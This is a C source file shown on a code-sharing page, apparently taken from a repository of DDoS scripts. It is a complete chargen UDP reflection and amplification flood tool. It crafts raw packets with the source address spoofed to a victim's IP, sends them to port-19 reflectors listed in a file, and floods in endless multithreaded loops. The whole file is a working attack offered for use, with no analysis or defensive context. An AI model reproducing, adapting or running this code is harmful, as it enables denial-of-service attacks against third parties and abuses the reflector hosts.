Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/AMP YUBINA SCRIPTS/chargen_attack_source.c
4607 views
1
#include <time.h>
2
#include <pthread.h>
3
#include <unistd.h>
4
#include <stdio.h>
5
#include <stdlib.h>
6
#include <string.h>
7
#include <sys/socket.h>
8
#include <netinet/ip.h>
9
#include <netinet/udp.h>
10
#include <arpa/inet.h>
11
#define MAX_PACKET_SIZE 8192
12
#define PHI 0x9e3779b9
13
static uint32_t Q[4096], c = 362436;
14
struct list
15
{
16
struct sockaddr_in data;
17
struct list *next;
18
struct list *prev;
19
};
20
struct list *head;
21
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
22
void init_rand(uint32_t x)
23
{
24
int i;
25
Q[0] = x;
26
Q[1] = x + PHI;
27
Q[2] = x + PHI + PHI;
28
for (i = 3; i < 4096; i++)
29
{
30
Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
31
}
32
}
33
34
uint32_t rand_cmwc(void)
35
{
36
uint64_t t, a = 18782LL;
37
static uint32_t i = 4095;
38
uint32_t x, r = 0xfffffffe;
39
i = (i + 1) & 4095;
40
t = a * Q[i] + c;
41
c = (t >> 32);
42
x = t + c;
43
if (x < c) {
44
x++;
45
c++;
46
}
47
return (Q[i] = r - x);
48
}
49
50
/* function for header checksums */
51
unsigned short csum (unsigned short *buf, int nwords)
52
{
53
unsigned long sum;
54
for (sum = 0; nwords > 0; nwords--)
55
sum += *buf++;
56
sum = (sum >> 16) + (sum & 0xffff);
57
sum += (sum >> 16);
58
return (unsigned short)(~sum);
59
}
60
61
void setup_ip_header(struct iphdr *iph)
62
{
63
iph->ihl = 5;
64
iph->version = 4;
65
iph->tos = 0;
66
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 4;
67
iph->id = htonl(54321);
68
iph->frag_off = 0;
69
iph->ttl = MAXTTL;
70
iph->protocol = IPPROTO_UDP;
71
iph->check = 0;
72
iph->saddr = inet_addr("192.168.3.100");
73
}
74
75
void setup_udp_header(struct udphdr *udph)
76
{
77
udph->source = htons(5678);
78
udph->dest = htons(19);
79
udph->check = 0;
80
strcpy((void *)udph + sizeof(struct udphdr), "h");
81
udph->len=htons(sizeof(struct udphdr) + 3);
82
}
83
84
void *flood(void *par1)
85
{
86
struct thread_data *td = (struct thread_data *)par1;
87
char datagram[MAX_PACKET_SIZE];
88
struct iphdr *iph = (struct iphdr *)datagram;
89
struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
90
struct sockaddr_in sin = td->sin;
91
struct list *list_node = td->list_node;
92
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
93
if(s < 0){
94
fprintf(stderr, "Could not open raw socket.\n");
95
exit(-1);
96
}
97
init_rand(time(NULL));
98
memset(datagram, 0, MAX_PACKET_SIZE);
99
setup_ip_header(iph);
100
setup_udp_header(udph);
101
udph->source = sin.sin_port;
102
iph->saddr = sin.sin_addr.s_addr;
103
iph->daddr = list_node->data.sin_addr.s_addr;
104
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
105
int tmp = 1;
106
const int *val = &tmp;
107
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
108
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
109
exit(-1);
110
}
111
int i=0;
112
while(1){
113
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
114
list_node = list_node->next;
115
iph->daddr = list_node->data.sin_addr.s_addr;
116
iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
117
if(i==5)
118
{
119
usleep(0);
120
i=0;
121
}
122
i++;
123
}
124
}
125
int main(int argc, char *argv[ ])
126
{
127
if(argc < 4){
128
fprintf(stderr, "Invalid parameters!\n");
129
fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);
130
exit(-1);
131
}
132
int i = 0;
133
head = NULL;
134
fprintf(stdout, "Setting up Sockets...\n");
135
int max_len = 128;
136
char *buffer = (char *) malloc(max_len);
137
buffer = memset(buffer, 0x00, max_len);
138
int num_threads = atoi(argv[4]);
139
FILE *list_fd = fopen(argv[3], "r");
140
while (fgets(buffer, max_len, list_fd) != NULL) {
141
if ((buffer[strlen(buffer) - 1] == '\n') ||
142
(buffer[strlen(buffer) - 1] == '\r')) {
143
buffer[strlen(buffer) - 1] = 0x00;
144
if(head == NULL)
145
{
146
head = (struct list *)malloc(sizeof(struct list));
147
bzero(&head->data, sizeof(head->data));
148
head->data.sin_addr.s_addr=inet_addr(buffer);
149
head->next = head;
150
head->prev = head;
151
} else {
152
struct list *new_node = (struct list *)malloc(sizeof(struct list));
153
memset(new_node, 0x00, sizeof(struct list));
154
new_node->data.sin_addr.s_addr=inet_addr(buffer);
155
new_node->prev = head;
156
new_node->next = head->next;
157
head->next = new_node;
158
}
159
i++;
160
} else {
161
continue;
162
}
163
}
164
struct list *current = head->next;
165
pthread_t thread[num_threads];
166
struct sockaddr_in sin;
167
sin.sin_family = AF_INET;
168
sin.sin_port = htons(atoi(argv[2]));
169
sin.sin_addr.s_addr = inet_addr(argv[1]);
170
struct thread_data td[num_threads];
171
for(i = 0;i<num_threads;i++){
172
td[i].thread_id = i;
173
td[i].sin= sin;
174
td[i].list_node = current;
175
pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
176
}
177
fprintf(stdout, "Starting Flood...\n");
178
if(argc > 5)
179
{
180
sleep(atoi(argv[5]));
181
} else {
182
while(1){
183
sleep(1);
184
}
185
}
186
return 0;
187
}
188